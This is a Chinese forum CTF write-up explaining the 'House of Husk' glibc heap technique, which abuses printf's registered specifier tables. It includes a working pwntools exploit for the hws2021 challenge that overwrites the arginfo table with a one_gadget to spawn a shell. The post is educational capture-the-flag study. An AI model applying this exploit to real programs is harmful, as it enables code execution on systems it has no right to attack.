吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3207|回复: 3
收起左侧

[CTF] House of Husk

[复制链接]
OYyunshen 发表于 2022-2-20 19:11
本帖最后由 OYyunshen 于 2022-2-20 19:16 编辑

horse of husk

这个手法对我而言还挺难的,原理难,利用起来还行

利用的前提是:uaf,unsortedbin attack,以及两个非常大的堆块,挺苛刻的利用前提

简易原理

原理主要是利用了printf的调用链,首先当需要使用printf类格式化字符串函数时,函数会根据格式化字符不同来采取不同的输出方式,在glibc中有个为格式化字符输出注册函数,这个函数是__register_print_specifier函数的封装,此处可以看一下printf.h中相关源码

跟进一下这个register_print_specifier函数,如果格式化字符超过0xff,或者小于0,不是ascii码返回-1,如果printf_arginfo_table为空就通过calloc分配堆内存存放printf_arginfo_table以及printf_function_table。两个表空间都为0x100,可以为0-0xff的每个字符注册一个函数指针,两个表是相邻的

/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_function (int spec, printf_function converter,
                printf_arginfo_function arginfo)
{
  return __register_printf_specifier (spec, converter,
                      (printf_arginfo_size_function*) arginfo);
}
/* Register FUNC to be called to format SPEC specifiers.  */
int
__register_printf_specifier (int spec, printf_function converter,
                 printf_arginfo_size_function arginfo)
{
  if (spec < 0 || spec > (int) UCHAR_MAX) //UCHAR_MAX=0XFF
    {
      __set_errno (EINVAL);
      return -1;
    }

  int result = 0;
  __libc_lock_lock (lock);

  if (__printf_function_table == NULL)
    {
      __printf_arginfo_table = (printf_arginfo_size_function **)
    calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
      if (__printf_arginfo_table == NULL)
    {
      result = -1;
      goto out;
    }

      __printf_function_table = (printf_function **)
    (__printf_arginfo_table + UCHAR_MAX + 1);
    }

  __printf_function_table[spec] = converter;
  __printf_arginfo_table[spec] = arginfo;

 out:
  __libc_lock_unlock (lock);

  return result;
}
  • 这里是calloc申请的内存块,和malloc有些不同,malloc申请时不会将内存清空,calloc会清空申请的内存空间(pwn比赛中,重要的知识点)
  • 原型:void* calloc(unsigned int num,unsigned int size)
  • 功能:在内存的动态存储区中分配num个长度为size的连续空间

这个printf源码链比较长,就先不分析了(菜鸡实在看不懂源码)

着重分析一下这个漏洞在pwn中的用法,核心就是利用:在vfprintf函数中如果检测到我们注册的table不为空,则对于格式化字符不走默认的输出函数而是调用printf_positional函数,进而可以调用到表中的函数指针,源码如下

/* Use the slow path in case any printf handler is registered.  */
  if (__glibc_unlikely (__printf_function_table != NULL
            || __printf_modifier_table != NULL
            || __printf_va_arg_table != NULL))
    goto do_positional;

  /* Hand off processing for positional parameters.  */

do_positional:
  if (__glibc_unlikely (workstart != NULL))
    {
      free (workstart);
      workstart = NULL;
    }
  done = printf_positional (s, format, readonly_format, ap, &ap_save,
                done, nspecs_done, lead_str_end, work_buffer,
                save_errno, grouping, thousands_sep);

首先计算分配的两个大小

第一个用来伪造__printf_function_table,第二个用来伪造__printf_arginfo_table

第一个大小:(PRINT_FUNCTION-MAIN_ARENA)*2-0x10

第二个大小:(PRINTF_ARGINFO - MAIN_ARENA)*2-0X10

目的

如果更改第一个table,需要将(p_fun_table + ('X' - 2) * 8) = libc_base + ONE_GADGET

如果更改第二个table,需要将__printf_arginfo_table['X']处的函数指针改为one_gadget

这里的X,不是固定的是,指的是printf家族函数中格式化字符,如%d,%c,%s,%x,%p

题目:hws2021-送分题

这道题,真痛苦,不知道为什么师傅们都能写出来,我是个废物,程序比较简单

解决的思路是house of husk或者打IO_FILE结构体

hws2021_pwn1.png

可以看到,house of husk 是全部满足的,UAF,unsortedbin attack,还有那两个很大的堆块

后面有两次free掉大堆块,还要调用printf("%s")

攻击流程

第一步直接接受一下泄露出来的main_arena+88地址,然后计算出libc地址

第二步然后通过unsortedbin attack,改写GLOBAL_MAX_FAST(这个地方如名字所示,存放的是fastbin最大的大小),把这个大小更改为一个非常大的数

第三步根据修改的是__printf_function_table还是__printf_arginfo_table选择攻击方式,上面有提到

这里选择的是ARGTABLE攻击,第一个第二个都可以getshell

from pwn import *
sh = process("./pwn")
# sh = remote("192.168.17.17",8888)
context.log_level='debug'
#define MAIN_ARENA       0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST  0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO   0x3ec870
#ARGTABLE_Size = (0x3ec870-0x3ebc40)*2 - 0x10 = 0x1850
#FUNCTABLE_Size = (0x3f0658-0x3ebc40)*2 - 0x10 = 0x9420
# use python to calculate

sh.sendlineafter("big box, what size?\n",str(0x1850)) 
sh.sendlineafter("bigger box, what size?\n",str(0x9420))   
sh.sendlineafter("rename?(y/n)\n",'y')

libc_base = u64(sh.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3ebca0
global_max_fast = libc_base + 0x3ed940
print('libc:',hex(libc_base))
print('global_max_fast',hex(global_max_fast))

sh.sendafter("new name!\n",b'/bin/sh\x00'+p64(global_max_fast-0x10))

sh.sendlineafter("(1:big/2:bigger)\n",'1')
#gdb.attach(sh)
one_gadget = 0x10a41c+libc_base
sh.send(b'a'*((ord('s')-2)*8)+p64(one_gadget))

# when call printf('%s') then getshell 
sh.interactive()

非常简略的exp,但是攻击流程基本都走了下来

这么说吧,你可以看看house of husk作者的poc,基本就写得出来

贴一个我认为这个攻击流程讲的很清楚的博文地址,非常感谢这位师傅

https://juejin.cn/post/6844904117119385614#heading-1

免费评分

参与人数 2威望 +1 吾爱币 +21 热心值 +2 收起 理由
Hmily + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Panel + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

纳兰容若 发表于 2022-2-21 17:09
多谢楼主分享
头像被屏蔽
tl;dr 发表于 2022-2-23 04:49
 楼主| OYyunshen 发表于 2022-2-23 10:40

是个堆漏洞house系列,有很多的比如House of Orange,House of Roman
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-16 02:59

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表